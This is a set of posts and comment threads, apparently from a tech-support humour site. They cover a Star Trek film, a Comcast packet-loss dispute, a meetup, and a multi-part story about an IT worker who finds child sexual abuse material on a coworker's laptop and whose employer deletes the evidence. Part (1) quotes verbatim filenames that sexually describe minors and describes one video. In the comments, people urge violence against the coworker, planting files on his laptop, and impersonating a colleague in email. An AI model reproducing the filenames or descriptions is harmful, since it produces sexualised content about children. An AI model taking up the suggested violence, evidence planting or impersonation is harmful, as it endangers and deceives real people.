Just saw it. Ugh. Not what I hoped, an "origins" story. Turns out it's a (warning: possible spoiler ahead) "Lets-Start-Over-From-Ground-Zero-Remake-In-Our-Own-Image-Now-The-Roddenberrys-Are-Dead". Star Trek, as we all knew it, is dead . -Stryker One
Stryker One - That's pretty much how I felt. It's a great action flick, but Star Trek? Only in name and image, but not in spirit. [The opinions expressed are of this station. If you disagree, we invite your reply.] -VoiceOfSanity
Those new digital projectors are too blurry for me. It's IMAX or nothing for these tired eyes. -ThinTheHerd
I enjoyed it as well. Saw it in IMAX and the sound and picture were incredible. I'm not a big Trekker though I have seen most of the movies and know pretty much what's going on it was very entertaining. For those of you who really are into it and know their stuff how do you feel about it? -SirBSOD
After all the hype, I guess I was expecting more. Have to agree with Stryker on this one. -TheNator
Saw it last night. Absolutely awesome. Needed more Scotty. And more cowbell. -AmazingKreskin
To be honest, I only thought it was OK. My complaints are all with the plot, so I can't tell you why I didn't like it without giving it away. -thx1138
Have to agree with the sentiment that it really was not Star Trek. Like others I can't really tell you why as it has to do with the plot. That said I do still recommend the movie - it was very good. -NotaTech
I agree,great action flick...Not Star Trek! -VWFtech
I found the full size IMAX too big for Abrams directorial style. Got whiplash trying to follow his transitions on the 7 story screen here in Melbourne. -AussieFoot
interesting side note- the "shipyard" Kirk pulls up to? It's a powerplant my dad built back in 2004. They left the shuttle prop there. -HappyCrappy
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46.
Comcast Field Techs Strike Again
A couple of weeks ago, I got a call from a regular client having problems getting online. Unfortunately, we were leaving on vacation at the time, and I couldn't get to her until last night. First bad sign was when I pulled up to her house and noticed two Comcast vans parked there, one of which pulled away as I parked.
Client said Comcast had sent a tech out to replace her cable modem, and the first tech had to call for backup. Second bad sign: A field tech needs backup to install a new cable modem. Both techs had left just prior to my arrival, but she still was having problems, which according to one of the field techs, was due to her computer "needing more memory."
Uh-huh. I've worked on this system before; I know better. She's got a full gig of RAM on a 2.4 GHz system.
Anyway, I pull up a command prompt, and she's got a valid IP address. Run a quick ping test to drop.net, and I get 30% packet loss. Ping Comcast's assigned gateway; same thing. I swap out the CAT5 cable just to be sure it's not something stupid, but nope, same problem. Check AVG scan history, because the client was afraid she might have picked up a virus. Negative; no threats detected on the last automatic system scan.
Pop my laptop on the cable modem, and it won't even pull up an IP address at all.
Go back to the client's computer. She can pull up simple sites like Google okay, but heavy sites like CNN don't pull up at all due to the packet loss she's getting. She said she tried to pull up her bank's website while the techs were still there, and it wouldn't pull up, but the techs dismissed it, saying, "Well, those financial sites have a lot of numbers to download."
Right.
So I give my client the option of calling Comcast with me there so that A: I could explain the problem using proper terminology, and B: she couldn't be bamboozled with a bullshit answer. She agrees and calls Comcast. Surprise, surprise, she gets to a tech almost right away. Client explains the problem, and that this is the third time she's called. Tech tells her there is an outage in her area.
O.o
Ummm. I don't think so. 70% of my traffic going through doesn't constitute an "outage" in my book. So I ask for the phone. I let the poor girl on the other end know that this is not a case of she can't get online, but a case of the connection being so poor that she cannot effectively pull up websites.
Backtrack. Okay, now it's not an outage, but the tech can't see the customer is online at all.
Backtrack. Okay, now she can see the customer's cable modem, and will reset it. Not exactly sure what happens with a cable modem reset, but it didn't look like it power cycled. At any rate, there was no change in packet loss.
CS Rep finally says that she needs to send techs out again to find the problem. I let her know that she needs to put on the ticket that my client has already had to pay me once to come out to fix their tech's screw-ups, and that while BS lines such as "financial sites have a lot of numbers to download" might work on their other customers, she has me backing her up, and I don't want to come back after another Comcast field tech visit to see 30% packet loss, with bullcrap explanations from the tech.
Tech is supposed to be back out sometime today. I left a command prompt window open with an explanation for my client of how to run a simple ping test and what to watch for, so the tech can't claim the problem is fixed without some kind of verification from the client.
What the fuck? "Your computer needs more memory?" "Financial sites have a lot of numbers to download?" Where the fuck do they get off with this shit? Is being able to provide a weak excuse to a customer the only job requirement for a Comcast field tech? Because if so, I'm in the wrong damn business.
[By: RiffRaff]
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"Leave the computer switched on and unused for 24 hours to let the Flux Capacitors recharge" -Zoomer
I've had to deal with cable companies before, both the good and the bad. My most recent experience was to get it installed at my new place, and the guy knew precisely what he was doing. Even dropped in a signal amp because he was worried about the distance of the line to the street box. -elcapitane
sigh... having worked the tech end of a cable company - the paket loss is probably due to signal strength on the modem ( i know modems way to well) that being said - could be from a number of places - bad connection at the tap, pedastle... corroded connection.. older cable... hey Riff - if you know what type of modem it is, i could most likly tell you how to check its diag page for signal strengths. -Harm
Five will get you ten it's a corroded connection. -vacuumtubes
I've dealt with Qwest in the same manor. The last field tech that I had to talk to didn't even know how to do a ping test. I've yet to see a job app. for Qwest but I'm sure there's a line asking if they're a mouth breather or not. -Forte
That walking Layer 8 error of a "tech" should be liberally dashed about the head and shoulders with a steel pipe. -Seamus
Riff, unfortunately I've had to deal with the same bloody thing, only in our case my aunt was losing wireless signal and my vonage was dropping randomly with no wires being loose. We called comcast, they came out, told my aunt she needed a new NIC (note: she was using USB to connect the wireless receiver) and that my computer needed more memory. I called the guy out on it and he shut up and left. -AdmiralLaurie
Ugh. Comcast. I have a client in New Pal, who had them out for her access problem. The tech told her that I don't know what I am doing - nice! He said her system was all messed up, and he couldn't help her, and was there for a few hours just dinking around with her system. He gave up. I got out there later, and found that she had a job spooling in her print queue that was holding up the works. Once that was cleared, everything was fine. Yeah, right. I don't know what I'm doing. Phft. At my house, my connectivity was going up and down on Saturdays - it took several calls over the course of a few weekends to get someone to actually come out - I told them I'd changed my modem with no change in the problem, and they sent a guy out when I was at work, but no one called my cell number to say they were there - they called my house and gave up. They never checked the drop. I finally got them out AGAIN, and the guy came really early - while I was gettng ready for work. Lo and behold, there was water in the signal filter box, and the cable drop looked like rabid squirrels had been partying on it. But remember - I DON'T KNOW WHAT I'M DOING. -figglywig
I've seen this kind of problem before. It's probably the carburetor. -Fuji
Or mice chewing on things they shouldn't. -TieDyedDinosaur
x2 for Harm and VT; I've seen signal problems do some wacky things to a cable connection. Most modems have a diagnostic page to allow you to read signal levels. The problems I see most often are corroded connections and installations having the modem's coax connection split off to multiple ends before it reaches the modem. Or DIY versions of the same. Even cable thieves can cause signal problems for the legit clients. Oy. -RamenMcTavish
Actually the techs dont care since the company doesnt care, just tell your client to STFU and pay her bill ontime. -burrkiss
Well, I gotta give props to hubby Zandor, his (limited) patience is well used with our DSL provider (three-letter telecom). Apparently they've put a good note in our file because he will do everything the tech tells him and won't get off the line until it works/is fixed. And the techs stay with him, too. We finally got our intermittent loss/lag problem found on the third or fourth onsite; the new lines that connected to the new box outside the house were fine, and the new lines run thru the house were fine. It was the 12 feet from just inside the wall to the start of the lines being split that was old, braided wire that was the problem. Those 12 feet are now replaced. win! -ManyHats
Which makes me very glad that I've found an ISP over here that knows exactly what they're on about. You call tech support here, and they can speak English and fix the problem without any trouble. -Chromatix
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47.
RiffRaff/Magenta/Bioguy Meetup in Indy!
Posting live from one of our favorite pizza haunts, Bioguy, Magenta and me.
http://www.wizardslab.net/~riffraff/pictures/0415092002.jpg
Notice we give our laptops more room on the table than our food. ;~}
[By: RiffRaff]
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No true-to-life saying on coasters, or surreal aussie waiters at a faux-aussie restaurant? Bah, I still top that! -exzyle2k
Speaking of which, has there been any word from VT about participation this weekend? -exzyle2k
*giggle* Jonathon and I do that when we go out with mr. Tornado. rare, that. -AdmiralLaurie
Riff, I've always wondered this about your site. Is it Wizards Lab, or Wizard Slab? ;) -VFox
Wizards Lab, although the site actually belongs to my old sysadmin. He just gives me free space and a shell account. -RiffRaff
OMG! It's full of nerds!! *skips happily along to the LART shelter* tra la l -la la laa.... -unrenowned
Magemta still lovely... and still not enough spare dosh for that surgery, eh riff? well, ugly ain't fatal... -HappyCrappy
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48.
The Mother of All Stories (5)
Meanwhile, back at the ranch, I have been instructed by my boss to discreetly monitor dickhead's computer. I'm picking up traces of pornography visits on our web logs, but nothing illegal. I show those logs to my boss, and she tells me to verify them against his browser history. Of course, when I get into his browser history, I find it wiped with the retention set to 0 days.
Fuck this moron. There is no way in hell I am going to let him outsmart me. So I let my boss know about the browser history, and I suggest a keylogger be installed on the user's computer to monitor keystrokes and website activity. She gives me the go-ahead, and I install a 7-day demo of Elite Keylogger on the laptop in question. (Excellent software, and very reasonably priced. I highly recommend checking it out.) I also reset his browser history retention back to 90 days where it belongs.
Not two days go by before dickwad notices that I've changed the settings, and he sets it back to 0. Then he types in "{Riff} is a narc" into a Google search. I figure he's testing the waters to see if I'm monitoring him, so I don't say anything to him. The next day, I get a report from the keylogger showing visits to classified personals on CraigsList, specifically looking at transgender and multiple partner listings.
At this point, I make my report to my boss, who brings the other two bosses up to speed, including the porn site visits recorded by our server. That was this past Wednesday. At first, there was genuine outrage, and assurances of support.
Then yesterday, I am ordered to uninstall the keylogging software. I am told that everyone is starting with a clean slate, and that a memo will be distributed regarding zero tolerance for abuse of the corporate network. I am told that no one is to be treated any differently than anyone else, and that no one is exempt from having their computers audited.
What the fuck ever.
Today, I am told that I will not be responsible for auditing dickhead's computer, that my boss will do it personally, thereby "protecting me from the line of fire."
Ex-fucking-cuse me???? That's my fucking job. And if dickhead can't handle the fact that he has been caught, by me, multiple times, despite his efforts to beat the system, then fuck him and the fucking horse dick he rode in on.
He has been glaring daggers at me all week. Today I had to tell him to watch his attitude with me.
So, I am done. Fuck the dicklicking fucking pedophile. Fuck the company that doesn't want to fire him. Fuck the law enforcement community for branding teenagers with naked pictures of themselves on their cell phones as sex offenders, but not even wanting to talk to me about a middle-aged man downloading and storing multiple videos depicting minors in sexual acts. And fuck the fucking human race. I truly do not give a flying fucking shit anymore. No, truly. Fuck it. Fuck the fucking motherfuckers.
The end.
[By: RiffRaff]
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Dude, that is pretty bad stuff. Some karma heading your way. You should also know that there is probably some self preservation going on here too. It is not inconceivable that $Peyton Palace be charged as an accomplice in the guys illegal activities. Especially, if he used the network to download some of those videos. I bet the lawyers reaction was to tell them to get rid of all the evidence as fast as they could. -adarklite
Karma waves headed your way, Riff. That's a whole METRIC FUCKTON of bullshit that smells worse than Sylvester Stallone's socks. What the fucking HELL?! -Seamus
I get the feeling that it might be wise for you to have a signed, witnessed, statement about this story, filed with a lawyer somewhere, so that it doesn't bite you in the arse later... -Mahal
From all the stuff your boss is doing to "slyly" protect the ped (erasing backups, losing laptops, removing your athority to catch the ped, sounds like they are fucking. -burrkiss
Ah nepotism at it's best, wonder who he has by the balls to have people keep him working there. If it wasn't for the fact that it'd get traced back to you I'd go to the media and make a circus of it. Maybe that would get the police interested. -Olorin
Riff- kudos for hanging in there and doing everything you could. Another factor on your managers behavior might have been that they actually did contact their lawyer, and found how an investigation would hit the company, and then managed to fumble their way through trying to hope it could just go away. "A friend of mine" was a security manager when a similar case hit his employer, and was assigned to work with the task force that came in the door with the warrants, to document for the company all equipment taken in the seizure, and assure that the investigators got the access they needed anywhere inside the building. Basically, anything that is found to be evidence is taken for forensic examination. Your guy had the files on the laptop? The laptop goes. Back-up folder, logs, etc. on the server? It's all evidence, and the server goes. Back-up hard drive? It goes. He managed to stash some files on another user's computer? It goes. Fortunately for my "friend", while it was an I.S.-related employee involved, he had only used his desktop for storage, and the company didn't lose everything up to their server. Could really have scared them to think of that impact on the company, and figured it was better to try to just hide the problem, rather than own up to it and take the hit. In terms of the law enforcement involvement for your case, they're finding out about a case where the evidence has apparently already been destroyed? Might be a partial explanation about why they didn't fully open a case when they might have plenty of work on their plates from cases with evidence in better condition. Don't put it past them though, to be watching for signs of your guy as they are hitting the server of the guy selling the material to him, and starting to set a case from that end. There are never any guarantees as investigations go, but if they came back through another channel at the guy after he's tied into another case, don't fall down with a heart attack. Cops working investigations in this kind of an area tend to be rather passionate about going after the perp, though it may not always look that way. Hope they can come back another way and fry his cojones! Good luck with all of this... -Voz
I smell a news story about corporate cover-ups protecting known pedophiles (find some aspiring talent and let him/her have your report). Also, there is ALWAYS a trail. Have you considered data recovery? I hear that the FBI has their own forensics team on location at Seagate Data Recovery Services (and I've seen Seagate pull data from some of the most destroyed drives). -unrenowned
A karma-laden manly HoIP on the way to you. Your justice system makes ours look almost competent. Mind you, I had similar trouble reporting the theft of £150k... just had to keep trying until I got someone who knew what to do with it. As above, they may just not be keeping you informed. Best of luck mate. -smellystudent
Well managed, well written and may the rockspider earn his just reward. From the history it sounds like he is only smart enough to dig his own grave. -Bloke
I second this motion: "And fuck the fucking human race. I truly do not give a flying fucking shit anymore. No, truly. Fuck it. Fuck the fucking motherfuckers. ".You could (A)install a hidden cam at his work area, and catch him fapping to that garbage, then submit the tape to The Law anonymously, or (B)start a Pay Pal fund to 'Send Some Guys Over' to his house, or (C)carve a 5-speed shift pattern in his belly yourself, or (D) just let it go, and hope he gets his another time and place. And he will. Sorry, bro. -ThinTheHerd
Shit mate...sounds like the creep has something on the co., or is banging one of the directors, or are just playing a massive game of "CYA". As for CYA, it's a good call of yours to do the same...& the old addage still applies, namely "document, document, document" (& keep backups if you've the stomach for them) -lineswine
Riff, I think that you should take this to the FBI and that you need to moniter fucktard bosses activity on all pc's I find it way too conveinient that the laptop in queston vanished while under thier care. They are going to hose you if you dont stay on your toes. FBI get to them ASAP. I support you Riff you are doing all the right things despite the blatant disreagard for the law by your employer. -THETECHFROMHELL
You have the exact filenames; you really should just remote into his laptop, fire up Limewire, grab the exact same files and immediately retrieve the laptop. They wanna play hardball, so play. -Calydor
*hugs* I was reading this to my Chris, and he suggested the FBI also. He thinks that is the only way that anyone is gonna listen or give a damn. But what the fuck is going on in this world when people get fucked for far more minor shit and then this pile worms beneath a dungheap gets away scott-free? *thinks the world might be better off if 9/10 of humankind is exterminated* -taieena
You're doing the right and just thing, even if the company is fucking you over. -srteach
Riff, I think you need to be way more self-interested here. If you were logged on as user when the delete commands were executed, it's your ass that could hang for destroying evidence Signs are that your company and this scuzball are going to do whatever is necessary to avoid responsibility, even if it's illegal. Who do you think is likely to get hosed for this, some upstanding VP or a lowly parolee? Document like hell and get some dependable legal help. Fast. -stiffarm
The way the police were handling this it would appear that either he has a close relative in the upper command area's pulling strings or that he is 'protected' by certain government agencies. I also recommend calling the FBI. Give your parole officer a call and find out why he/she bailed on you. You might get some clues to why everyone is ignoring you. If all else fails call Dateline. -MarloVino
Dude, keep on fighting. $PeytonPlace has put your ass squarely on the line here. $Deity knows what old secrets this paedo has on $PP's command structure, to still have his job, no matter what other technical & financial issues they'll have that'll ensue from making sure he hangs for it. Even quitting right this moment won't keep you out of the line of fire, as I'm sure you've guessed. Do anything & everything you have to. Make sure you're wearing every inch of armor-plating you can put on. Otherwise, the fucked-up system will find a way to drag you down just for trying to do the right thing.
Now then, our old friend Gary Mitchell says he'll be happy to lend you a hand with this scrote any time you need him (VEG) -MadJack
Fuck man. You need this: 1 Giant Piece of Karma. Just found the last $60 bucks to my name so you can have all the karma you need. 1 1.75L bottle of Disaronno. Helps me thru my bad times. 1 12 pack of Yuengling. That also helps -DarkRookie
I worked for a newspaper years ago, we had a few calls like this, somone ttys to report a single pedo, nothing gets done. The police are only interested in big fish, as I were. If you feel strongly that this person needs justice, copy and paste this story in an email to your local newspapers, all of them. CC whoever takes anonymous tips where you live, and any police emails you can find. If the media gets wind and you have enough documentation to make them beleive you, even if it never makes the news, reporters making phone calls doing research will get this done fast. -Ratfor
I can't imagine any of the companies I work with doing anything like that. What kind of farked up place IS $PP? Our thoughts to you, and I hope you get yourself some independent legal advice - I think you need it badly. Would hate to see you harmed by the criminal actions of your co-worker and employer. Totally appalling. -NoneOther
I would just add to Ratfor's suggestion that, prior to emailing said story, create a Yahoo account in the name of someone at $PeytonPlace and use the company address. Nothing directly you. -ManyHats
Wow... I hope he gets nailed Riff, sorry to hear that the police aren't picking this up, that sort of s*** is intolerable. But like some have said, get in touch with the FBI and make a statement with them and above all else, document it all for your own CYA. -spectreoflife
Document, document, document. CYA CYA CYA. Several Kegs-O-Karma coming your way. -ecoli
I was tempted to suggest that you quit (this place is even worse than the ISP you left vacuumtubes alone at) rather loudly and publicly (say, in the midst of a cubical farm if they have one) with, "I can no longer work for a company that allows <name of pedophile> to surf and store KIDDIE PORN on company equipment, then goes through all these lengths to cover it up!" I withdrew that temptation, though, and decided to go along with the "contact the FBI" feeling. There is definitely some sort of coverup here, at least at the corporate level and possibly (based on the runaround you were getting and even the shrug-off from your former p.o.) on a higher level. And/or get a local tv investigative reporter involved. (Of course, despite whistle-blower laws, you may end up having to leave Peyton Place anyway. Which might be a better thing all around, anyway!) -Captain Trips
Wow. Just....wow. People are being laid off in this economy that do all the right things and an ass turkey with child porn on a company computer gets to keep his job? Most places I've been if ANY kind of porn is found on your computer or in your browsing history you are escorted out. But again, the wonders of CYA and nepotism never cease to amaze... -SirBSOD
Riff -
I was just talking to one of our end-users with Homeland Security, and his previous position dealt with exactly this sort of thing - he recommended you go to http://www.in.gov/legislative/ic/code/ and look up titles 35 and 49 (49 especially). Hope this helps. -figglywig
oops. I just looked it up - title 35, article 49 within it. sorry! -figglywig
I've sent a link to someone in law enforcement completely out of the area - maybe he'll have some advice I can share. Keep the faith, my friend, there may be some fight left. -ActingUpAgain
So.....you find kiddie pr0n on work equipment, you have all sorts of documentation to support you in terms of who obtained it, when, on which equiment, etc...ALL sorts of Federal laws are clearly being violated....multiple attempts to notify law enforcement at all different levels get you nowhere.....then the bigwigs DO NOTHING but erase all data regarding what this POS scumbag has done - AND this pedophile fuckstain gets to keep his job???? Something BIG must be going on behind the scenes here. However, if, say, Mr. Child Rapist Gutter Slime is 'scheduled' to meet up with some big bad asskickers, lemme know so I can show up and egg them on. -Zimmerit
The only advice I can give is to keep monitoring, and just completely ingnore the boss, take the logs directly to the police, and have a nice surprise for him on Monday morning, hopefully involving a federal arrest warrant. You are doing the right thing, even if faced with incomptetence, you have to keep going and keep trying, because if you don't, then he wins. -PeterGibons
This is why I hate Indiana and all it encompasses. -vacuumtubes
At my company, I would be able to walk to the luser's desk, hand him a pink slip, and tell him we'll send his belongings to him as he is escorted out to the building. Then I would inform my boss of what happened! Something's rotten there at Peyton Place, has to be... -MasterOfNone
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49.
The Mother of All Stories (4)
Friday morning arrives, and I simply cannot stand it anymore. I pick up my phone and call our local State Police post, and I ask to speak to a detective. The officer taking the call asks me what it is regarding, and I simply reply that it is a really long story, and I'd like to tell it only once. He asks me where I'm calling from, and I tell him, and he gives me another phone number to call.
I call that number, which is answered by the local precinct of the city police department. Knowing full well that it is the State Police that investigates such things, I indicate that I wanted State Police, not Indianapolis Police. I am transferred straight to the State Police dispatch, where I again ask to speak to a detective, although this time I specify that I need to speak to one who deals with computer crime and child exploitation. I am transferred yet again, this time to be greeted with a drawling, "Hello?" I ask if she is a detective, and she replies, "No, I'm a secretary," and promptly hangs up on me!
Fuck this shit, I'm done trying to ease my conscience for the day. So I go on in to work. Needless to say, it was not a good weekend.
Monday arrives, and by now I have posted this story in the Break Room under the name of "LambChop." Of course, a couple of people figure out it's me anyway, and I receive a few phone calls of support. which were much appreciated. Then, a certain TSC member, who shall remain anonymous unless he or she wants to reveal themselves, made a few phone calls on my behalf, and it was suggested that the person I should contact first is my former parole officer. Reason being that she is both familiar with me and my case, and would have contacts with federal law enforcement. She could possibly contact them to ease my way in and reinforce my credibility.
This doesn't seem like a bad idea, so I call and leave her a message. She calls me back Tuesday morning and listens to my story very carefully. She seems to be concerned for my welfare, and is glad I am taking the approach that I am. She says she will make a few phone calls and get back with me.
Excellent. For the first time in a week, I am beginning to feel better about the situation. Later that afternoon I receive a voice mail from her, very short and to the point: "There's nothing I can do to help you. Contact your local police department. Good luck."
WHAT
THE
FUCK!?!??!?!??!
It gnaws at me, and it gnaws at me, and it gnaws at me, and shortly after lunch the next day, I can't stand it any longer. I Google for the direct telephone number of the Indiana State Police Internet Crime & Child Exploitation Task Force (bypassing the company web filters, of course - it's good to be root). I wander outside and call them. A man identifying himself as a sergeant with the Indiana State Police answers, and I begin to tell him what I've encountered. After about five minutes, he interrupts me, and says that he is going to have someone call me right back so I can tell them everything.
Nobody calls me back.
By now, I am furious. I mean I am screaming, pounding on furniture furious. Here I am, an ex-con who served three years in a federal prison because I checkmarked the wrong box on a federal form, and I can't even get a cop to take a report about a child predator working at my company??? WHAT THE FLYING FUCK??????????
A few days later I am given the e-mail address of a sergeant from the Indiana State Police who has been given a very brief description of my situation, and the brick wall I keep running into headfirst trying to report it. I am basically to write out a statement, which he will forward directly to the commander of the Internet Crime & Child Exploitation Task Force. So I spend about an hour writing out a very detailed, two-page statement, using my notes and documentation as a guide. However, I only reveal my name, home phone number and address. I very deliberately do not mention the name of the user in question, nor the name of the company for which I work. This is to ensure that if anyone takes it seriously and wants to actually follow up on it, they would have to contact me for those last two details.
I hear nothing for a couple of weeks. Then I am told that my report was being looked at, and that "they were putting out feelers." I would love to know how they are "putting out feelers" for someone for whom they don't even have a name. My bullshit-o-meter has been pegged for three solid fucking weeks. I think it's permanently stuck at that reading.
[By: RiffRaff]
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50.
The Mother of All Stories (3)
8:45 the next morning, I get a frantic call from my boss on her cell phone. Her car has been broken into. Her company gas card is gone. Her paycheck is gone. The laptop is gone.
0.o
Uh huh.
Okay, I'll take care of it. I have the gas card canceled, and a stop payment put on her paycheck. I also look up the phone number for her local police department so a theft report can be filed. She arrives to work and gives me more detailed information.
She didn't notice anything wrong with her car when she left for work that morning, and didn't really notice anything was wrong until she turned around to get something out of the back seat, and realized that the laptop was missing. I went outside and inspected her vehicle, and found no evidence of forced entry. No indications of a slim jim being forced down between the windows and the weatherstripping; no fresh scratches on the door locks to indicate they'd been picked. Apparently, her car was left unlocked all night.
Now, this is not unbelievable, as she does live so far out in the country that the best Internet connection I can get her so she can VPN into our network is Verizon cellular broadband, which even with an external antenna still only manages to get 2 bars of signal strength. So not locking doors is not uncommon.
However, my mind will just not let go of the coincidence of the timing.
Sleazebag, of course, is all grins and giggles now that his kiddie-porn infested laptop is missing. And I am fully aware that even if it is recovered, the chain of custody has been broken, and with the backup files out of the picture, any first-year law student could get the case kicked out of court.
Meanwhile, I am instructed to monitor his network habits closely for any future transgressions.
Oh, you betchya.
[By: RiffRaff]
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51.
The Mother of All Stories (2)
So, I head home with this user's laptop. First thing I do when I get there is call my old system administrator and ask him if I am correct in my belief that I am required to notify law enforcement of the content I've discovered. He qualifies his response with "IANAL" and "It's been a long time since I've had to deal with it," but that yes, he believes I am legally required to report this.
Meanwhile, my boss calls and beeps in on this conversation. She wants to know if there is any possibility this content could have been downloaded to the user's computer without his knowledge. I let her know that I am very familiar with Limewire; that I have used it for years, and that while it is possible, and even likely, to download files laden with viruses, I have never, ever, had a file download itself to my computer that I have not deliberately searched for and selected to be downloaded. (Some of you might remember I posted a topic on this in the Help boards at that time, just so I could be sure.) Apparently, dickweed is denying all knowledge of these files, and is claiming that the laptop has "not been right" since he took it to a family gathering during our Christmas shutdown period. (NOTE: This fact is important later.)
So I am ordered back to the office, where a closed-door meeting is held between me, the owner, and my boss, who is also a co-owner and a company VP. I am told that the company lawyers have been contacted. I am told that my interpretation of the law is incorrect, that we are not required to contact law enforcement. I am told that no evidence is to be destroyed. I am told that the matter is not to be discussed with anyone. I am told the laptop is going to be sent to an independent third-party for professional forensics to be performed on the system, and that I am to assign another laptop to SWHF.
So, I turn the laptop over to the owner, and proceed back to my desk to prep a new one for idiot sleazebag. Needless to say, I am not a happy camper, and my spidey senses are doing fucking cartwheels in my stomach.
About 30 minutes later, as I'm prepping the new laptop, my boss comes to see me at my desk, and tells me to pull up the backup files where I initially found the videos. I do so, and she orders me to delete the folder.
Um..... no.
She makes it clear to me that this is not a request, that this comes directly from the owner who has decided that he does not want these files anywhere in the building. I pull up a command prompt and SSH into the backup server, and type in the command to delete the user's entire backup folder. Then I take my hands away from the keyboard and let my boss know that I am not going to delete the files, but if she wants to delete them, all she has to do is hit the Enter key on my computer, which she does without hesitation.
Now I'm pissed. This company has a really bad habit of paying me a lot of money for my expertise, and then not listening to me when I tell them that something is B-A-D. I continue prepping the new laptop, seething and trying to calm down the flying monkeys that are bouncing off the walls of my stomach.
About an hour later, my boss shows up at my desk again, this time with our offsite backup hard drive in her hands. I am told to pull up the user's backup folder and see if the Limewire directory is still there. It was. Again, I'm ordered to delete the folder, and again, I refuse, typing in the proper command and then removing my hands from the keyboard, forcing my boss to hit the Enter key and be the one responsible for deleting these files. (NOTE: The last time I performed a transfer of files from the backup server to the offsite backup disk was in October, well before our Christmas shutdown, yet the offending Limewire directory is already present on the user's computer at that point in time.)
Now I'm so pissed off I can barely see straight. I finish prepping the computer and let my boss know that I need to transfer data from the original laptop to the new one. She tells me to come to her office so she can watch me do it without the offending laptop leaving her sight.
So I report to my boss's office, and remove the hard drive from the original laptop, connecting it to the replacement system via an IDE/USB adapter. I am told to transfer everything *except* the contents of the Limewire directory. (Duh.) So, I begin the data transfer.
During the course of the transfer, the subject comes up that, "we do have backups of everything you're copying, right?"
Um, no. You deleted the user's folder from the backup server, remember? Oops. So now, I have to initiate a manual backup routine of the original laptop. Needless to say, this takes quite a while, and we remain at the office well into the evening, during which time, we have a nice long discussion of why you don't delete data. I offered several logical reasons why the Limewire directory should not be deleted from our backup server, but that the best reasons are the reasons I can't think of. She listens, asks some clarifying questions, and then orders me to delete just the Limewire directory from the backup we just made. For those of you keeping score at home, this is the THIRD time that evidence of a felony is deliberately deleted from our server by my boss, who for the third time hits the Enter key after I type in the proper command.
By now, it is 10:00 at night, and I have spent the better part of 12 hours working on this, to the exclusion of all else. I am told by my boss that she will be taking the offending laptop home with her, and dropping it off at the forensics specialist on her way into work the following morning. We both head home for the night.
[By: RiffRaff]
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52.
The Mother of All Stories (1)
Settle in, kidlets. This is going to be a long one. For tonight's buffet we have rotted venison, complimented by huge portions of stale, moldy bread. For the soup and salad, we have lukewarm dishwater with just a touch of yesterday's baloney sandwich, and fermented cabbage topped with chunky, three-day old milk. For desert, an endless supply of fuck-off-all-humanity flavored ice cream. With a fucking cherry on top.
Those of you who frequent the Break Room will probably recognize most of this, as I posted it anonymously several weeks ago. The saga has been ongoing. Some of you already know the history, and a few of you have called to offer support and advice. Special thanks to Grue for everything he did. I'm posting it here in the open now, partially because I just don't give a flying fuck any more; partially because I have taken steps to ensure a nice, healthy severance package if Peyton Place so much as breathes a whisper about terminating me.
This sordid story begins on the morning of March 10th, when I took it upon myself to spend the first half of my day seated comfortably at my desk going through the two new backup servers that had been installed the previous week to be sure they were functioning properly. This necessarily involves going through each user's backup folder to check for all the files that are supposed to be there, and making corrections to the scripts as needed.
Best laid plans. I didn't make it very far.
When I arrived at a certain user's folder, who shall henceforth be referred to as "Stinking Waste of Human Flesh," or SWHF for short, I remembered that I had had a discussion with him a couple of weeks previously, regarding storing his music in a location other than the "My Documents" folder, so that it would not get backed up and waste disk space on my backup servers. I decided to see if he had done as I requested.
So, I navigated to his user directory in his folder on the backup server, and opened up the My Documents folder, with the intention of going to the "My Music" folder. Before I could click on the music folder, however, another directory caught my attention: "Limewire."
Now, this is verboten software on corporate computers, for obvious reasons. However, dickwad has always considered himself above any policies put in place by the company. I've had run-ins with him before regarding his accessing of dating sites containing adult content.
At any rate, I clicked into Limewire to see if he had any additional music stored there as well. Three subdirectories: "Incomplete," "Saved," and "Store Purchased." So I went into "Saved" first.
What greeted my unprepared eyes was a long list of filenames that had no business being within a light-year of any system on my network. The following are some of the actual filenames, which I have saved from a backup log:
Preview-T-39803152-16yo girl seduces inexperienced 14yo boy in the bath, filmed by her sister.mpg
T-105577-two young girls playing with dildos
T-10608640-porno - 15 years old teen redhead babysitter - 15yr pedofilia 4 cute redhead fucked (home movie; mpg; self-extracting) incest xxx fuck porn sex fisting oral blow job pre-.mpg
T-111726-2 young russian girls sex lolita porn flatrix young teen hustler playboy penthouse preteen virgin britney spears xxx fucking raped old anal japanese hentai manga nude naked gro.jpg
13-real child porn!!!(illegal preteen underage lolita kiddy incest little girl rape anal cum sex lesbian blow(1)(2).mpg
You get the idea. And the list goes on, and on, and on.
So, first things first. I immediately kill off the user's network access and confiscate the laptop from his office. Fortunately, he's not in yet. I need to see if this data is currently on his hard drive, or if this is some kind of weird fluke on the part of the backup server. Nope, the files are there.
So I head to my boss's office. She's not in yet, so I let her assistant know that I am to see her first thing when she gets in, before she does anything else. Then I go back to my office to see how deep the rabbit hole goes.
Now, I've been around the block quite a few times. I know full well that files like this, especially from a peer to peer source, frequently have content that has nothing to do with the filename. So, I pick one of the movies and open it.
Nope, the filename describes what's going on in the video exactly: A young adolescent female sitting naked in a bathtub with an even younger adolescent male. And gential manipulation is involved.
Now I'm starting to get one of those bad adrenaline rushes, the "oh shit" kind you get when you realize you've formatted the wrong hard drive and years of data is gone. I immediately kill the video and power down the computer, and I call my boss on her cell phone. I let her know that I have discovered child pornography on a company computer, and whose computer it was. She lets me know that she is almost to work, and that I am to lock myself in her office where I can work in private and see exactly how bad the problem is.
So, that's exactly what I do. I open a few more videos that contain adult actors, but then I get to one depicting a 12 to 13 year-old girl, barely into puberty, being undressed and fondled by a fully grown male.
That's it; I'm done.
Boss arrives, and I show her about 5 seconds of one video before she tells me to turn it off. I let her know that there are multiple videos, and that there is no doubt in my mind about the illegality of the content. She calls the company owner at this point.
He comes in early and tells me to take the laptop off premises, "somewhere like Starbucks," to continue my forensic investigation. (I kid you not; he told me to go to Starbucks.) I replied that there was no way in hell I was going to investigate something of this nature in a public place, and that I would take the laptop home. He agrees, and I leave the building.
[By: RiffRaff]
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...! -Seamus
Contact a lawyer yourself, directly. Explain the situation. Tell him/her what your objective is (protecting yourself and/or taking this guy down). Also consider contacting a judge and the FBI. Or, do nothing and just let it go. Alternatively, you can also contact the media. I promise you a reporter will love getting all the details of this. But know whatever you do, it is something you will have to live with for the rest of your life. Much care and support sent to you, sir. -FreakyFerret
